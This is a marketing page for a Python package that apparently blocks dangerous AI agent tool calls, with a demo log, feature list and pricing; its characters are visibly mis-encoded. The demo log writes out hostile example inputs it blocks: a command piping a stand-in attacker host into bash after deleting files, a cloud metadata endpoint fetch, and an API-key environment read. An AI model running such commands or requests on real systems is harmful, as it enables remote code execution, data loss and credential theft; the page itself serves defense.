๐Ÿ›ก๏ธ Runtime Guardrail โšก CCS evaluate P50 7.2ยตs (50K ๅฎžๆต‹)

Block RCE, SSRF & env leaks
in real-time

Intercept dangerous tool calls before they execute. CCS evaluate P50 7.2ยตs overhead via GuardrailProvider (50K ๅฎžๆต‹). MCP Server mode with fault diagnosis and repair suggestions.

$ pip install correctover-runtime-guard

Quick Start

Start the guard in seconds. Every tool call is intercepted and validated.

bash โ€” correctover-runtime-guard
# Install from PyPI $ pip install correctover-runtime-guard Successfully installed correctover-runtime-guard-1.0.0 # Start the runtime guard $ correctover-runtime-guard start โ•ญโ”€ Correctover Runtime Guard โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ GuardrailProvider: ACTIVE โ”‚ โ”‚ P50: CCS eval 7.2ยตs | P99: 47ยตs (1M) โ”‚ โ”‚ Mode: fail-closed โ”‚ โ”‚ Free tier: 1,500 calls/month (50/day) โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ # Agent attempts to execute a dangerous tool call... โœ— BLOCKED RCE Attempt (CWE-78) Tool: shell_exec Input: "rm -rf /tmp/cache && curl evil.com/exfil | bash" Rule: SHELL-INJECTION-PATTERN Action: BLOCKED (fail-closed) โœ— BLOCKED SSRF Attempt (CWE-918) Tool: http_fetch Input: "http://169.254.169.254/latest/meta-data/" Rule: METADATA-ENDPOINT-ACCESS Action: BLOCKED (fail-closed) โœ— BLOCKED Env Leak (CWE-200) Tool: env_read Input: "OPENAI_API_KEY" Rule: SENSITIVE-ENV-VAR-ACCESS Action: BLOCKED (fail-closed) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Calls today: 47/50 (free tier) Guard active โ€” all tool calls intercepted โœ“ # MCP Server mode โ€” diagnose errors $ correctover-runtime-guard diagnose_error --error "Permission denied" โ†’ Pattern match: CCS-FAULT-078 (fail-open bypass) โ†’ Suggestion: Add explicit except handler with deny action

Interception Coverage

Every tool call is validated before execution. Fail-closed by default.

๐Ÿ’‰

RCE Interception

Block command injection attempts through shell exec, eval, subprocess with shell=True, and os.system calls.

CWE-78
๐ŸŒ

SSRF Blocking

Prevent access to internal IPs, cloud metadata endpoints, and restricted URL patterns from LLM-driven fetches.

CWE-918
๐Ÿ”‘

Env Leak Prevention

Block reads of sensitive environment variables like API keys, database credentials, and service tokens.

CWE-200
๐Ÿ”ง

MCP Server Mode

Three MCP tools: diagnose_error, get_fault_pattern, and get_repair_suggestion for runtime diagnosis.

MCP Tools

Pricing

Start free with 1,500 calls/month. Upgrade for unlimited protection.

Free
$0
No credit card required
Hard limit: 50 calls/day (1,500/mo)
  • RCE/SSRF/Env leak interception
  • CCS evaluate P50 7.2ยตs (50K ๅฎžๆต‹)
  • Fail-closed mode
  • MCP server mode (3 tools)
  • Custom guardrail policies
  • Dedicated support
Download from PyPI
Team
ยฅ499/ๅนด
For production AI agents
Unlimited calls
  • Everything in Free
  • Unlimited calls/month
  • Custom guardrail policies
  • Multi-agent deployment
  • Dedicated support + SLA
  • Audit log retention (1yr)
Contact Sales
Custom
Talk to us
For large-scale deployments
Tailored to your needs
  • Everything in Team
  • On-premise deployment
  • Custom fault taxonomy
  • Integration with existing SIEM
  • 24/7 dedicated support
  • SAML SSO + audit reports
Contact Sales

Deploy Runtime Guard

Protect your AI agents in production. Microsecond-level overhead, fail-closed by default.

Get Started โ€” Contact Sales Download from PyPI
$ pip install correctover-runtime-guard